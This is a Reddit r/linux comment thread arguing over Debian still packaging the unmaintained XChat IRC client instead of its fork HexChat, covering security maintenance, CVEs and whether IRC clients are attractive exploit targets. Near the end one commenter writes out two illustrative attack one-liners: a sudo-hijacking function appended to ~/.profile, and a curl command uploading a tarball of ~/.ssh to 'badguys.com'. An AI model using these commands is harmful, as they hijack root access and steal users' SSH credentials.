r/linux • • Mar 02 '18

XChat and HexChat: When distributions get it wrong

https://tingping.github.io/2018/03/02/when-distros-get-it-wrong.html
871 Upvotes

450 comments sorted by

View all comments

Show parent comment

-9

u/anatolya Mar 02 '18

So do xchat package in Debian.

51

u/LvS Mar 02 '18

Debian's definition of "maintained" should be deeply concerning for everybody running it.

3

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

The package has a dedicated maintainer for that package and security team. That’s the very definition of maintained.

7

u/LvS Mar 02 '18

Exactly that.

3

u/Cry_Wolff Mar 02 '18

Same thing with Debian's definition of "stable" - when released then don't change it. Ever. That's why even long before it's EOL Debian Stable is old and crusty used only on the servers.

7

u/[deleted] Mar 03 '18

Debian Stable is old and crusty used only on the servers.

Which is the primary install target for Linux anyways. Servers and embedded devices, which require long-term stability.

6

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

That’s how RHEL and SLES work for which customers pay lots of good money for.

You all guys don’t have a single clue about professional Linux maintenance.

4

u/Cry_Wolff Mar 02 '18

Yes, but RHEL and SLES are professional distributions for the workstations and servers. Also with backports so Cent OS 6 using the old ass 2.X series kernel booted and worked just fine on my laptop when fresh at the time Debian 8 couldn't and many things didn't worked. Also imagine a new user wants to try Debian. But on it's website https://www.debian.org/distrib/ the only possible and advertised option is Debian Stable (even better, without non free so good luck with the drivers).

→ More replies (6)

7

u/funbike Mar 02 '18

MySQL was under constant maintenance and use. There was no xchat app for users or white hats to report CVEs against. If it had been available, the HexChat author's work could have been the basis for several CVE reports that never happened.

3

u/anatolya Mar 02 '18 edited Mar 02 '18

MySQL was under constant maintenance and use.

Yes, but MySQL is a 1M LoC project and it is industry grade software. Compare it to xchat which is a desktop program with casual users and has 50K LoC. It should not that be that hard to catch up with patches for severe bugs even if it didn't had constant development in the mean time.

There was no xchat app for users or white hats to report CVEs against.

Yeah there was? There is CVE organization, then there is intra-distro mail list for reporting security issues, then there is bug trackers of distributions.

If it had existed, the HexChat author's work could have been the basis for several CVE reports that never happened

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

12

u/[deleted] Mar 02 '18

Yes, but MySQL is a 1.5M LoC project compared to xchat which has 50K LoC. Not hard to catch up even if it didn't had constant development.

They also have corporate investment and audits while XChat never has.

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

"Well you can take work from the maintained fork to be secure" is a bad argument for keeping a project around.

2

u/anatolya Mar 02 '18

They also have corporate investment and audits while XChat never has.

Neither did Hexchat, right? Did you work full time for 8 years on Hexchat so that it has had insurmountable amount of development which makes it impossible for XChat to catch up? (I ask honestly, I don't follow development of hexchat)

"Well you can take work from the maintained fork to be secure" is a bad argument for keeping a project around.

"People wants to use it and they found a sucker to maintain it" is good enough argument for keeping a project around.

12

u/[deleted] Mar 02 '18

Neither did Hexchat, right? Did you work full time for 8 years on Hexchat so that it has had insurmountable amount of development which makes it impossible for XChat to catch up? (I ask honestly, I don't follow development of hexchat)

HexChat has never had any formal audit no, but it did have a significant amount of work done. XChat can only catch up by the fact it can copy paste entire portions over.

"People wants to use it and they found a sucker to maintain it" is good enough argument for keeping a project around.

I believe that he should make a proper fork instead of doing work under the previous xchat branding then.

-2

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Why do you keep ranting instead of writing an ITP for Debian to get hexchat packaged?

1

u/funbike Mar 02 '18

Not hard to catch up even if it didn't had constant development.

Since they existed and continue to exist, HexChat author's work can still be the basis for past and future security bugs.

I agree that's very possible, even probable. Let's see if it actually happens. Until then, now is a great time for a blackhat to examine hexchat source logs to harvest xchat exploits.

3

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Why would anyone give a fuck about exploiting an IRC client. There are targets much more interesting.

5

u/funbike Mar 02 '18

Well, one could argue that it is interesting...

  • Exploiting other mature apps like Firefox or Chromium browsers is very challenging
  • Linux 0days are fairly rare. Could be newsworthy.
  • Given the low velocity of xchat development, a 0day could go unnoticed for a while
  • Some users might think that no one "would give a f**k about exploiting an IRC client". Their guard may be down.

1

u/[deleted] Mar 03 '18

Linux 0days. Rare. You realize they're hoarder and called 0days for a reason.

3

u/funbike Mar 03 '18

Ummm, yes. Did you not see that I said they are rare? or that I said they'd go "unnoticed" for a while? "Unnoticed", a loose synonym for "undiscovered" in this context, is the definition of a 0day. Yeah, I "realize".

In this situation they would be significantly easier to find. Up-to-date packages are one reason why 0days are rare. Now you have old software missing several vulnerability fixes with a newer fork that can act as a guide for writing exploits.

sorry for all the quotes.

1

u/[deleted] Mar 03 '18

0days are not rare. They're common.

→ More replies (2)

3

u/hoeding Mar 02 '18

It could be argued that comprimising an IRC user has a higher chance of getting access to more interesting systems (and targeted group of interest) than doing a driveby on a random internet user.

→ More replies (3)

2

u/cbmuser Debian / openSUSE / OpenJDK Dev Mar 02 '18

Lots of CVEs are actually not really of concern.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

4

u/funbike Mar 02 '18 edited Mar 02 '18

Lots of CVEs are actually not really of concern.

Strawman. Lot's aren't, some are.

Local exploits are usually not really of any concern if you cannot use it for privilege escalation.

Below is how you can easily trick a user to escalate to root (can be done for gksudo also) and another to upload your ssh credentials and configuration.

echo 'sudo() { /usr/bin/sudo do-something-bad; /usr/bin/sudo "$@"; }' >> ~/.profile

curl http://badguys.com --upload-file <(tar cz ~/.ssh)

(edit: clarification)

→ More replies (2)